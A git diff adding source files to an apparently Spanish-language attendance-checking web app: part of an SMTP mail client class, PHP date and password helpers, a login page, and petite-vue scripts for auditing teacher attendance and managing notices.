fclose($this->smtp_conn); + $this->smtp_conn = null; //Makes for cleaner serialization + $this->edebug('Connection: closed', self::DEBUG_CONNECTION); + } + } + + /** + * Send an SMTP DATA command. + * Issues a data command and sends the msg_data to the server, + * finializing the mail transaction. $msg_data is the message + * that is to be send with the headers. Each header needs to be + * on a single line followed by a with the message headers + * and the message body being separated by and additional . + * Implements rfc 821: DATA + * @param string $msg_data Message data to send + * @access public + * @return boolean + */ + public function data($msg_data) + { + //This will use the standard timelimit + if (!$this->sendCommand('DATA', 'DATA', 354)) { + return false; + } + + /* The server is ready to accept data! + * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF) + * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into + * smaller lines to fit within the limit. + * We will also look for lines that start with a '.' and prepend an additional '.'. + * NOTE: this does not count towards line-length limit. + */ + + // Normalize line breaks before exploding + $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data)); + + /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field + * of the first line (':' separated) does not contain a space then it _should_ be a header and we will + * process all lines before a blank line as headers. + */ + + $field = substr($lines[0], 0, strpos($lines[0], ':')); + $in_headers = false; + if (!empty($field) && strpos($field, ' ') === false) { + $in_headers = true; + } + + foreach ($lines as $line) { + $lines_out = array(); + if ($in_headers and $line == '') { + $in_headers = false; + } + //Break this line up into several smaller lines if it's too long + //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), + while (isset($line[self::MAX_LINE_LENGTH])) { + //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on + //so as to avoid breaking in the middle of a word + $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); + //Deliberately matches both false and 0 + if (!$pos) { + //No nice break found, add a hard break + $pos = self::MAX_LINE_LENGTH - 1; + $lines_out[] = substr($line, 0, $pos); + $line = substr($line, $pos); + } else { + //Break at the found point + $lines_out[] = substr($line, 0, $pos); + //Move along by the amount we dealt with + $line = substr($line, $pos + 1); + } + //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 + if ($in_headers) { + $line = "\t" . $line; + } + } + $lines_out[] = $line; + + //Send the lines to the server + foreach ($lines_out as $line_out) { + //RFC2821 section 4.5.2 + if (!empty($line_out) and $line_out[0] == '.') { + $line_out = '.' . $line_out; + } + $this->client_send($line_out . self::CRLF); + } + } + + //Message data has been sent, complete the command + //Increase timelimit for end of DATA command + $savetimelimit = $this->Timelimit; + $this->Timelimit = $this->Timelimit * 2; + $result = $this->sendCommand('DATA END', '.', 250); + //Restore timelimit + $this->Timelimit = $savetimelimit; + return $result; + } + + /** + * Send an SMTP HELO or EHLO command. + * Used to identify the sending server to the receiving server. + * This makes sure that client and server are in a known state. + * Implements RFC 821: HELO + * and RFC 2821 EHLO. + * @param string $host The host name or IP to connect to + * @access public + * @return boolean + */ + public function hello($host = '') + { + //Try extended hello first (RFC 2821) + return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host)); + } + + /** + * Send an SMTP HELO or EHLO command. + * Low-level implementation used by hello() + * @see hello() + * @param string $hello The HELO string + * @param string $host The hostname to say we are + * @access protected + * @return boolean + */ + protected function sendHello($hello, $host) + { + $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); + $this->helo_rply = $this->last_reply; + if ($noerror) { + $this->parseHelloFields($hello); + } else { + $this->server_caps = null; + } + return $noerror; + } + + /** + * Parse a reply to HELO/EHLO command to discover server extensions. + * In case of HELO, the only parameter that can be discovered is a server name. + * @access protected + * @param string $type - 'HELO' or 'EHLO' + */ + protected function parseHelloFields($type) + { + $this->server_caps = array(); + $lines = explode("\n", $this->last_reply); + + foreach ($lines as $n => $s) { + //First 4 chars contain response code followed by - or space + $s = trim(substr($s, 4)); + if (empty($s)) { + continue; + } + $fields = explode(' ', $s); + if (!empty($fields)) { + if (!$n) { + $name = $type; + $fields = $fields[0]; + } else { + $name = array_shift($fields); + switch ($name) { + case 'SIZE': + $fields = ($fields ? $fields[0] : 0); + break; + case 'AUTH': + if (!is_array($fields)) { + $fields = array(); + } + break; + default: + $fields = true; + } + } + $this->server_caps[$name] = $fields; + } + } + } + + /** + * Send an SMTP MAIL command. + * Starts a mail transaction from the email address specified in + * $from. Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more recipient + * commands may be called followed by a data command. + * Implements rfc 821: MAIL FROM: + * @param string $from Source address of this message + * @access public + * @return boolean + */ + public function mail($from) + { + $useVerp = ($this->do_verp ? ' XVERP' : ''); + return $this->sendCommand( + 'MAIL FROM', + 'MAIL FROM:<' . $from . '>' . $useVerp, + 250 + ); + } + + /** + * Send an SMTP QUIT command. + * Closes the socket if there is no error or the $close_on_error argument is true. + * Implements from rfc 821: QUIT + * @param boolean $close_on_error Should the connection close if an error occurs? + * @access public + * @return boolean + */ + public function quit($close_on_error = true) + { + $noerror = $this->sendCommand('QUIT', 'QUIT', 221); + $err = $this->error; //Save any error + if ($noerror or $close_on_error) { + $this->close(); + $this->error = $err; //Restore any error from the quit command + } + return $noerror; + } + + /** + * Send an SMTP RCPT command. + * Sets the TO argument to $toaddr. + * Returns true if the recipient was accepted false if it was rejected. + * Implements from rfc 821: RCPT TO: + * @param string $address The address the message is being sent to + * @access public + * @return boolean + */ + public function recipient($address) + { + return $this->sendCommand( + 'RCPT TO', + 'RCPT TO:<' . $address . '>', + array(250, 251) + ); + } + + /** + * Send an SMTP RSET command. + * Abort any transaction that is currently in progress. + * Implements rfc 821: RSET + * @access public + * @return boolean True on success. + */ + public function reset() + { + return $this->sendCommand('RSET', 'RSET', 250); + } + + /** + * Send a command to an SMTP server and check its return code. + * @param string $command The command name - not sent to the server + * @param string $commandstring The actual command to send + * @param integer|array $expect One or more expected integer success codes + * @access protected + * @return boolean True on success. + */ + protected function sendCommand($command, $commandstring, $expect) + { + if (!$this->connected()) { + $this->setError("Called $command without being connected"); + return false; + } + //Reject line breaks in all commands + if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) { + $this->setError("Command '$command' contained line breaks"); + return false; + } + $this->client_send($commandstring . self::CRLF); + + $this->last_reply = $this->get_lines(); + // Fetch SMTP code and possible error code explanation + $matches = array(); + if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) { + $code = $matches[1]; + $code_ex = (count($matches) > 2 ? $matches[2] : null); + // Cut off error code from each response line + $detail = preg_replace( + "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m", + '', + $this->last_reply + ); + } else { + // Fall back to simple parsing if regex fails + $code = substr($this->last_reply, 0, 3); + $code_ex = null; + $detail = substr($this->last_reply, 4); + } + + $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); + + if (!in_array($code, (array)$expect)) { + $this->setError( + "$command command failed", + $detail, + $code, + $code_ex + ); + $this->edebug( + 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, + self::DEBUG_CLIENT + ); + return false; + } + + $this->setError(''); + return true; + } + + /** + * Send an SMTP SAML command. + * Starts a mail transaction from the email address specified in $from. + * Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more recipient + * commands may be called followed by a data command. This command + * will send the message to the users terminal if they are logged + * in and send them an email. + * Implements rfc 821: SAML FROM: + * @param string $from The address the message is from + * @access public + * @return boolean + */ + public function sendAndMail($from) + { + return $this->sendCommand('SAML', "SAML FROM:$from", 250); + } + + /** + * Send an SMTP VRFY command. + * @param string $name The name to verify + * @access public + * @return boolean + */ + public function verify($name) + { + return $this->sendCommand('VRFY', "VRFY $name", array(250, 251)); + } + + /** + * Send an SMTP NOOP command. + * Used to keep keep-alives alive, doesn't actually do anything + * @access public + * @return boolean + */ + public function noop() + { + return $this->sendCommand('NOOP', 'NOOP', 250); + } + + /** + * Send an SMTP TURN command. + * This is an optional command for SMTP that this class does not support. + * This method is here to make the RFC821 Definition complete for this class + * and _may_ be implemented in future + * Implements from rfc 821: TURN + * @access public + * @return boolean + */ + public function turn() + { + $this->setError('The SMTP TURN command is not implemented'); + $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); + return false; + } + + /** + * Send raw data to the server. + * @param string $data The data to send + * @access public + * @return integer|boolean The number of bytes sent to the server or false on error + */ + public function client_send($data) + { + $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT); + return fwrite($this->smtp_conn, $data); + } + + /** + * Get the latest error. + * @access public + * @return array + */ + public function getError() + { + return $this->error; + } + + /** + * Get SMTP extensions available on the server + * @access public + * @return array|null + */ + public function getServerExtList() + { + return $this->server_caps; + } + + /** + * A multipurpose method + * The method works in three ways, dependent on argument value and current state + * 1. HELO/EHLO was not sent - returns null and set up $this->error + * 2. HELO was sent + * $name = 'HELO': returns server name + * $name = 'EHLO': returns boolean false + * $name = any string: returns null and set up $this->error + * 3. EHLO was sent + * $name = 'HELO'|'EHLO': returns server name + * $name = any string: if extension $name exists, returns boolean True + * or its options. Otherwise returns boolean False + * In other words, one can use this method to detect 3 conditions: + * - null returned: handshake was not or we don't know about ext (refer to $this->error) + * - false returned: the requested feature exactly not exists + * - positive value returned: the requested feature exists + * @param string $name Name of SMTP extension or 'HELO'|'EHLO' + * @return mixed + */ + public function getServerExt($name) + { + if (!$this->server_caps) { + $this->setError('No HELO/EHLO was sent'); + return null; + } + + // the tight logic knot ;) + if (!array_key_exists($name, $this->server_caps)) { + if ($name == 'HELO') { + return $this->server_caps['EHLO']; + } + if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) { + return false; + } + $this->setError('HELO handshake was used. Client knows nothing about server extensions'); + return null; + } + + return $this->server_caps[$name]; + } + + /** + * Get the last reply from the server. + * @access public + * @return string + */ + public function getLastReply() + { + return $this->last_reply; + } + + /** + * Read the SMTP server's response. + * Either before eof or socket timeout occurs on the operation. + * With SMTP we can tell if we have more lines to read if the + * 4th character is '-' symbol. If it is a space then we don't + * need to read anything else. + * @access protected + * @return string + */ + protected function get_lines() + { + // If the connection is bad, give up straight away + if (!is_resource($this->smtp_conn)) { + return ''; + } + $data = ''; + $endtime = 0; + stream_set_timeout($this->smtp_conn, $this->Timeout); + if ($this->Timelimit > 0) { + $endtime = time() + $this->Timelimit; + } + while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { + $str = @fgets($this->smtp_conn, 515); + $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL); + $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL); + $data .= $str; + // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen + if ((isset($str[3]) and $str[3] == ' ')) { + break; + } + // Timed-out? Log and break + $info = stream_get_meta_data($this->smtp_conn); + if ($info['timed_out']) { + $this->edebug( + 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', + self::DEBUG_LOWLEVEL + ); + break; + } + // Now check if reads took too long + if ($endtime and time() > $endtime) { + $this->edebug( + 'SMTP -> get_lines(): timelimit reached ('. + $this->Timelimit . ' sec)', + self::DEBUG_LOWLEVEL + ); + break; + } + } + return $data; + } + + /** + * Enable or disable VERP address generation. + * @param boolean $enabled + */ + public function setVerp($enabled = false) + { + $this->do_verp = $enabled; + } + + /** + * Get VERP address generation mode. + * @return boolean + */ + public function getVerp() + { + return $this->do_verp; + } + + /** + * Set error messages and codes. + * @param string $message The error message + * @param string $detail Further detail on the error + * @param string $smtp_code An associated SMTP error code + * @param string $smtp_code_ex Extended SMTP code + */ + protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') + { + $this->error = array( + 'error' => $message, + 'detail' => $detail, + 'smtp_code' => $smtp_code, + 'smtp_code_ex' => $smtp_code_ex + ); + } + + /** + * Set debug output method. + * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it. + */ + public function setDebugOutput($method = 'echo') + { + $this->Debugoutput = $method; + } + + /** + * Get debug output method. + * @return string + */ + public function getDebugOutput() + { + return $this->Debugoutput; + } + + /** + * Set debug output level. + * @param integer $level + */ + public function setDebugLevel($level = 0) + { + $this->do_debug = $level; + } + + /** + * Get debug output level. + * @return integer + */ + public function getDebugLevel() + { + return $this->do_debug; + } + + /** + * Set SMTP timeout. + * @param integer $timeout + */ + public function setTimeout($timeout = 0) + { + $this->Timeout = $timeout; + } + + /** + * Get SMTP timeout. + * @return integer + */ + public function getTimeout() + { + return $this->Timeout; + } +} diff --git a/include/util.php b/include/util.php new file mode 100644 index 0000000..1aceb86 --- /dev/null +++ b/include/util.php @@ -0,0 +1,127 @@ +"ene", "feb", "mar", "abr", "may", "jun", "jul", "ago", "sep", "oct", "nov", "dic"); + $fechaTxt = trim($fechaTxt); + if(substr($fechaTxt,2,1) == "/" && substr($fechaTxt,5,1) == "/"){// dd/mm/aaaa + $fechaArr = explode("/", $fechaTxt); + return $meses[intval($fechaArr[1])].", ".$fechaArr[2]; + } + if(substr($fechaTxt,4,1) == "-" && substr($fechaTxt,7,1) == "-"){// aaaa-mm-dd + $fechaArr = explode("-", $fechaTxt); + return $meses[intval($fechaArr[1])].", ".$fechaArr[0]; + } + return ""; +} + + +function fechaMes($fechaTxt){ + $fechaTxt = trim($fechaTxt); + if(substr($fechaTxt,2,1) == "/" && substr($fechaTxt,5,1) == "/"){// dd/mm/aaaa + $fechaArr = explode("/", $fechaTxt); + return intval(mesNombre($fechaArr[1])." ".$fechaArr[2]); + } + if(substr($fechaTxt,4,1) == "-" && substr($fechaTxt,7,1) == "-"){// aaaa-mm-dd + $fechaArr = explode("-", $fechaTxt); + return intval(mesNombre($fechaArr[2])." ".$fechaArr[1]); + } + return ""; +} + +function mesNombre($num){ + $meses=array(1=>"enero", "febrero", "marzo", "abril", "mayo", "junio", "julio", "agosto", "septiembre", "octubre", "noviembre", "diciembre"); + return $meses[intval($num)]; +} + +function diaNombre($num){ + $dias=array("domingo", "lunes", "martes", "miércoles", "jueves", "viernes", "sábado"); + return $dias[intval($num)]; +} + +function horaMin($arr, $campo = "Horario_hora"){ + $min = ""; + foreach($arr as $horario){ + if($min == "" || date('H:i', strtotime($horario[$campo])) < date('H:i', strtotime($min))){ + $min = $horario[$campo]; + } + } + return date('H:i', strtotime($min)); +} + +function horaMax($arr, $campo = "Horario_hora_final"){ + $max = ""; + foreach($arr as $horario){ + if($max == "" || date('H:i', strtotime($horario[$campo])) > date('H:i', strtotime($max))){ + $max = $horario[$campo]; + } + } + return date('H:i', strtotime($max)); +} +function duracionMinutos($fechahora_i, $fechahora_f){ + return round((strtotime($fechahora_f) - strtotime($fechahora_i)) / 60,2); +} + +function validaPassword($pass){ + $expr = '/^\S*(?=\S{5,})(?=\S*[a-zA-Z])(?=\S*[\d])(?=\S*[\W])\S*$/'; + return preg_match($expr, $pass); +} \ No newline at end of file diff --git a/index.php b/index.php new file mode 100644 index 0000000..0f16e77 --- /dev/null +++ b/index.php @@ -0,0 +1,73 @@ + + + + + + + .: Administrador de checador :. + + + + + + + + + + + +
+
+
+
+

Iniciar sesión

+
+
+
+
+
+

Utiliza tu usuario y contraseña institucionales

+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+ +
+
+ +

¡ERROR!

+ +

+ +

+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/js/auditoría.js b/js/auditoría.js new file mode 100644 index 0000000..881ef2b --- /dev/null +++ b/js/auditoría.js @@ -0,0 +1,354 @@ +import { createApp, reactive } from 'https://unpkg.com/petite-vue?module'; +$('div.modal#cargando').modal({ + backdrop: 'static', + keyboard: false, + show: false, +}); +const store = reactive({ + loading: false, + perido: null, + current: { + comentario: '', + clase_vista: null, + empty: '', + page: 1, + maxPages: 10, + perPage: 10, + modal_state: "Cargando datos...", + justificada: null, + fechas_clicked: false, + observaciones: false, + }, + facultades: { + data: [], + async fetch() { + this.data = []; + const res = await fetch('action/action_facultad.php'); + this.data = await res.json(); + }, + }, + filters: { + facultad_id: null, + fecha: null, + fecha_inicio: null, + fecha_fin: null, + profesor: null, + periodo_id: null, + bloque_horario: null, + estados: [], + switchFecha: false, + async switchFechas() { + const periodo = await fetch('action/periodo_datos.php'); + const periodo_data = await periodo.json(); + if (!store.filters.switchFecha) { + $('div.modal#cargando').modal('show'); + await store.registros.fetch(); + $('div.modal#cargando').modal('hide'); + } + $(function () { + store.filters.fecha_inicio = store.filters.fecha_fin = store.filters.fecha = null; + $("#fecha, #fecha_inicio, #fecha_fin").datepicker({ + minDate: new Date(`${periodo_data.periodo_fecha_inicio}:00:00:00`), + maxDate: new Date(`${periodo_data.fecha_final}:00:00:00`), + dateFormat: "yy-mm-dd", + showAnim: "slide", + beforeShowDay: (date) => [(date.getDay() != 0), ""] + }); + const fecha = $("#fecha"), inicio = $("#fecha_inicio"), fin = $("#fecha_fin"); + fecha.datepicker("setDate", new Date(`${periodo_data.fecha_final}:00:00:00`)); + inicio.on("change", function () { + store.current.fechas_clicked = false; + store.filters.fecha_inicio = inicio.val(); + fin.datepicker("option", "minDate", inicio.val()); + }); + fin.on("change", function () { + store.current.fechas_clicked = false; + store.filters.fecha_fin = fin.val(); + inicio.datepicker("option", "maxDate", fin.val()); + }); + fecha.on("change", async function () { + store.filters.fecha = fecha.val(); + $('div.modal#cargando').modal('show'); + await store.registros.fetch(store.filters.fecha); + $('div.modal#cargando').modal('hide'); + }); + }); + }, + async fetchByDate() { + store.current.fechas_clicked = true; + $('div.modal#cargando').modal('show'); + await store.registros.fetch(undefined, store.filters.fecha_inicio, store.filters.fecha_fin); + store.current.page = 1; + $('div.modal#cargando').modal('hide'); + } + }, + estados: { + data: [], + async fetch() { + this.data = []; + const res = await fetch('action/action_estado_supervisor.php'); + this.data = await res.json(); + }, + getEstado(id) { + return this.data.find((estado) => estado.estado_supervisor_id === id) ?? { + estado_color: 'dark', + estado_icon: 'ing-cancelar', + nombre: 'Sin registro', + estado_supervisor_id: -1, + }; + }, + printEstados() { + if (store.filters.estados.length > 0) + document.querySelector('#estados').innerHTML = store.filters.estados.map((estado) => ` + ${store.estados.getEstado(estado).nombre} + `).join(''); + else + document.querySelector('#estados').innerHTML = `Todos los registros`; + } + }, + bloques_horario: { + data: [], + async fetch() { + this.data = []; + const res = await fetch('action/action_grupo_horario.php'); + this.data = await res.json(); + if (this.data.every((bloque) => !bloque.selected)) + this.data[0].selected = true; + }, + }, + toggle(arr, element) { + const newArray = arr.includes(element) ? arr.filter((item) => item !== element) : [...arr, element]; + // if all are selected, then unselect all + if (newArray.length === (this.estados.data.length + 1)) { + setTimeout(() => { + document.querySelectorAll('#dlAsistencia>ul>li.selected').forEach(element => element.classList.remove('selected')); + }, 100); + return []; + } + return newArray; + }, + async justificar() { + if (!store.current.justificada) + return; + store.current.justificada.registro_justificada = true; + let data; + try { + const res = await fetch('action/justificar.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify(store.current.justificada) + }); + data = await res.json(); + } + catch (error) { + alert('Error al justificar'); + store.current.justificada = store.current.clone_justificada; + } + finally { + delete store.current.clone_justificada; + } + store.current.justificada.justificador_nombre = data.justificador_nombre; + store.current.justificada.justificador_clave = data.justificador_clave; + store.current.justificada.justificador_facultad = data.justificador_facultad; + store.current.justificada.justificador_rol = data.justificador_rol; + store.current.justificada.registro_fecha_justificacion = data.registro_fecha_justificacion; + }, + async justificarBloque(fecha, bloques, justificacion) { + if (bloques.length === 0) { + alert('No se ha seleccionado ningún bloque'); + return; + } + if (!justificacion) { + alert('No se ha ingresado ninguna observación'); + return; + } + try { + const res = await fetch('action/action_justificar.php', { + method: 'PUT', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ + fecha, + bloques, + justificacion, + }) + }); + const resData = await res.json(); + if (resData.status === 'success') { + alert('Se ha justificado el bloque'); + store.current.modal_state = 'Cargando datos...'; + $('div.modal#cargando').modal('show'); + await store.registros.fetch(); + $('div.modal#cargando').modal('hide'); + } + else { + alert('No se ha podido justificar el bloque'); + } + } + catch (error) { + alert('Error al justificar'); + } + }, + registros: { + data: [], + async fetch(fecha, fecha_inicio, fecha_fin) { + // if (!store.filters.facultad_id || !store.filters.periodo_id) return + this.loading = true; + this.data = []; + const params = { + facultad_id: 19, + periodo_id: 2, + }; + if (fecha) + params['fecha'] = fecha; + if (fecha_inicio) + params['fecha_inicio'] = fecha_inicio; + if (fecha_fin) + params['fecha_fin'] = fecha_fin; + params['periodo_id'] = store.filters.todos_los_periodos ? 1 : 0; + const paramsUrl = new URLSearchParams(params).toString(); + try { + const res = await fetch(`action/action_auditoria.php?${paramsUrl}`, { + method: 'GET', + }); + this.data = await res.json(); + } + catch (error) { + alert('Error al cargar los datos'); + } + this.loading = false; + store.current.page = 1; + }, + invertir() { + this.data = this.data.reverse(); + }, + mostrarComentario(registro_id) { + const registro = this.data.find((registro) => registro.registro_id === registro_id); + store.current.comentario = registro.comentario; + $('#ver-comentario').modal('show'); + }, + get relevant() { + /* + facultad_id: null, + fecha: null, + fecha_inicio: null, + fecha_fin: null, + profesor: null, + asistencia: null, + estado_id: null, + if one of the filters is null, then it is not relevant + + */ + const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0); + return this.data.filter((registro) => { + return filters.every((filtro) => { + switch (filtro) { + case 'fecha': + return registro.registro_fecha_ideal === store.filters[filtro]; + case 'fecha_inicio': + return registro.registro_fecha_ideal >= store.filters[filtro]; + case 'fecha_fin': + return registro.registro_fecha_ideal <= store.filters[filtro]; + case 'profesor': + const textoFiltro = store.filters[filtro].toLowerCase(); + if (/^\([^)]+\)\s[\s\S]+$/.test(textoFiltro)) { + const clave = registro.profesor_clave.toLowerCase(); + const filtroClave = textoFiltro.match(/\((.*?)\)/)?.[1]; + // console.log(clave, filtroClave); + return clave.includes(filtroClave); + } + else { + const nombre = registro.profesor_nombre.toLowerCase(); + return nombre.includes(textoFiltro); + } + case 'facultad_id': + return registro.facultad_id === store.filters[filtro]; + case 'estados': + if (store.filters[filtro].length === 0) + return true; + else if (store.filters[filtro].includes(-1) && registro.estado_supervisor_id === null) + return true; + return store.filters[filtro].includes(registro.estado_supervisor_id); + case 'bloque_horario': + const bloque = store.bloques_horario.data.find((bloque) => bloque.id === store.filters[filtro]); + return registro.horario_hora < bloque.hora_fin && registro.horario_fin > bloque.hora_inicio; + default: return true; + } + }); + }); + }, + async descargar() { + store.current.modal_state = 'Generando reporte en Excel...'; + $('div.modal#cargando').modal('show'); + this.loading = true; + if (this.relevant.length === 0) + return; + try { + const res = await fetch('export/supervisor_excel.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify(this.relevant) + }); + const blob = await res.blob(); + window.saveAs(blob, `auditoria_${new Date().toISOString().slice(0, 10)}.xlsx`); + } + catch (error) { + if (error.response && error.response.status === 413) { + alert('Your request is too large! Please reduce the data size and try again.'); + } + else { + alert('An error occurred: ' + error.message); + } + } + finally { + $('#cargando').modal('hide'); + this.loading = false; + } + }, + loading: false, + get pages() { + return Math.ceil(this.relevant.length / store.current.perPage); + } + }, +}); +createApp({ + store, + messages: [], + get clase_vista() { + return store.current.clase_vista; + }, + set_justificar(horario_id, profesor_id, registro_fecha_ideal) { + store.current.justificada = store.registros.relevant.find((registro) => registro.horario_id === horario_id && registro.profesor_id === profesor_id && registro.registro_fecha_ideal === registro_fecha_ideal); + store.current.clone_justificada = JSON.parse(JSON.stringify(store.current.justificada)); + store.current.observaciones = false; + }, + cancelar_justificacion() { + Object.assign(store.current.justificada, store.current.clone_justificada); + delete store.current.clone_justificada; + }, + profesores: [], + async mounted() { + $('div.modal#cargando').modal('show'); + try { + // await store.registros.fetch() + await store.facultades.fetch(); + await store.estados.fetch(); + await store.bloques_horario.fetch(); + await store.filters.switchFechas(); + store.periodo = await fetch('action/periodo_datos.php').then(res => res.json()); + this.profesores = await (await fetch('action/action_profesor.php')).json(); + this.messages.push({ title: 'Datos cargados', text: 'Los datos se han cargado correctamente', type: 'success', timestamp: new Date() }); + } + catch (error) { + this.messages.push({ title: 'Error al cargar datos', text: 'No se pudieron cargar los datos', type: 'danger', timestamp: new Date() }); + } + finally { + $('div.modal#cargando').modal('hide'); + } + } +}).mount('#app'); diff --git a/js/avisos.js b/js/avisos.js new file mode 100644 index 0000000..4713b43 --- /dev/null +++ b/js/avisos.js @@ -0,0 +1,148 @@ +import { createApp, reactive } from 'https://unpkg.com/petite-vue?module'; +const new_aviso = reactive({ + titulo: '', + descripcion: '', + fechaInicio: '', + fechaFin: '', + profesores: [], + carreras: [], + reset() { + this.titulo = ''; + this.descripcion = ''; + this.fechaInicio = ''; + this.fechaFin = ''; + this.profesores = []; + this.carreras = []; + }, + get isValid() { + return this.titulo !== '' && this.descripcion !== '' && this.fechaInicio !== '' && this.fechaFin !== '' && (this.profesores.length > 0 || this.carreras.length > 0) && this.facultad_id !== null; + }, +}); +// define datepicker method +const app = createApp({ + new_aviso, + profesores: [], + carreras: [], + avisos: [], + profesor: null, + formatProfesor(profesor) { + return `(${profesor.profesor_clave}) ${profesor.profesor_nombre}`; + }, + addProfesor() { + const profesorObj = this.profesores.find((profesor) => this.profesor === this.formatProfesor(profesor)); + if (profesorObj) { + this.new_aviso.profesores.push(profesorObj); + this.profesor = null; + } + }, + aviso_shown: null, + // int? + aviso_suspendido: null, + suspenderAviso() { + if (this.aviso_suspendido) { + const aviso = this.avisos.find((aviso) => aviso.aviso_id === this.aviso_suspendido); + if (aviso) { + this.deleteAviso(aviso); + } + } + }, + get relevant_profesores() { + // not in array new_aviso.profesores + const relevant = this.profesores.filter((profesor) => !this.new_aviso.profesores.map((profesor) => profesor.profesor_id).includes(profesor.profesor_id)); + // console.log('profesores:', this.profesores.map((profesor: Profesor) => profesor.profesor_nombre), 'relevant:', relevant.map((profesor: Profesor) => profesor.profesor_nombre), 'new_aviso:', this.new_aviso.profesores.map((profesor: Profesor) => profesor.profesor_nombre)) + return relevant; + }, + get relevant_carreras() { + // not in array new_aviso.carreras + return this.carreras.filter((carrera) => !this.new_aviso.carreras.includes(carrera)); + }, + createAviso() { + const data = { + aviso_titulo: this.new_aviso.titulo, + aviso_texto: this.new_aviso.descripcion, + aviso_fecha_inicial: this.new_aviso.fechaInicio, + aviso_fecha_final: this.new_aviso.fechaFin, + profesores: this.new_aviso.profesores.map((profesor) => profesor.profesor_id), + carreras: this.new_aviso.carreras.map((carrera) => carrera.carrera_id), + }; + fetch('/action/avisos.php', { + method: 'POST', + body: JSON.stringify(data) + }).then(res => res.json()).then(res => { + if (res.success) { + // hydrate with carreras and profesores + this.avisos.push({ + ...data, + carreras: this.carreras.filter((carrera) => data.carreras.includes(carrera.carrera_id)), + profesores: this.profesores.filter((profesor) => data.profesores.includes(profesor.profesor_id)), + aviso_estado: true, + aviso_id: res.aviso_id, + }); + this.new_aviso.reset(); + } + else { + alert(res.error); + console.log(res.errors); + } + }); + }, + deleteAviso(aviso) { + fetch(`/action/avisos.php`, { + method: 'DELETE', + body: JSON.stringify({ aviso_id: aviso.aviso_id }) + }).then(res => res.json()).then(res => { + if (res.success) { + this.avisos = this.avisos.filter((aviso) => aviso.aviso_id !== this.aviso_suspendido); + this.aviso_suspendido = null; + } + else { + alert(res.error); + console.log(res.errors); + } + }); + }, + updateAviso() { + fetch(`/action/avisos.php`, { + method: 'PUT', + body: JSON.stringify({ + aviso_id: this.aviso_shown.aviso_id, + aviso_fecha_final: this.aviso_shown.aviso_fecha_final, + }) + }).then(res => res.json()).then(res => { + if (res.success) { + } + else { + alert(res.error); + console.log(res.errors); + } + }); + }, + async initializeDatepickers($el) { + const periodo = await fetch('action/periodo_datos.php'); + const periodo_data = await periodo.json(); + $('.date-picker').datepicker({ + dateFormat: 'yy-mm-dd', + maxDate: periodo_data.periodo_fecha_fin, + minDate: 0, + }); + $($el).on('change', () => { + this.aviso_shown.aviso_fecha_final = $($el).val(); + }); + }, + async mounted() { + this.avisos = await fetch("/action/avisos.php").then(res => res.json()); + this.profesores = await fetch('/action/action_profesor.php').then(res => res.json()); + this.carreras = await fetch('/action/action_carreras.php').then(res => res.json()); + await this.initializeDatepickers(); + const fechaInicio = $('#fechaInicio.date-picker'); + const fechaFin = $('#fechaFin.date-picker'); + fechaInicio.on("change", function () { + new_aviso.fechaInicio = fechaInicio.val(); + fechaFin.datepicker("option", "minDate", fechaInicio.val()); + }); + fechaFin.on("change", function () { + new_aviso.fechaFin = fechaFin.val(); + fechaInicio.datepicker("option", "maxDate", fechaFin.val()); + }); + } +}).mount('#app'); diff --git a/js/barra.js b/js/barra.js new file mode 100644 index 0000000..44b7e69 --- /dev/null +++ b/js/barra.js @@ -0,0 +1,41 @@ +function barra(profesor, retardos) { + profesor.faltas = profesor.total - profesor.asistencias - profesor.retardos - profesor.justificaciones; + if (profesor.total != 0) + var porcentajes = { + "asistencias": profesor.asistencias / profesor.total * 100, + "retardos": profesor.retardos / profesor.total * 100, + "justificaciones": profesor.justificaciones / profesor.total * 100, + "faltas": 100 * profesor.faltas / profesor.total + } + else + var porcentajes = { + "asistencias": 0, + "retardos": 0, + "justificaciones": 0, + "faltas": 0 + } + var html = ` +
+
+
+
+
+ + ${retardos ? `
` : ``} +
+
+
+
+
+ + +
+ Asistencias: ${profesor.asistencias} + ${retardos ? `Retardos: ${profesor.retardos}` : `` } + Justificaciones: ${profesor.justificaciones} + Faltas: ${profesor.faltas} +
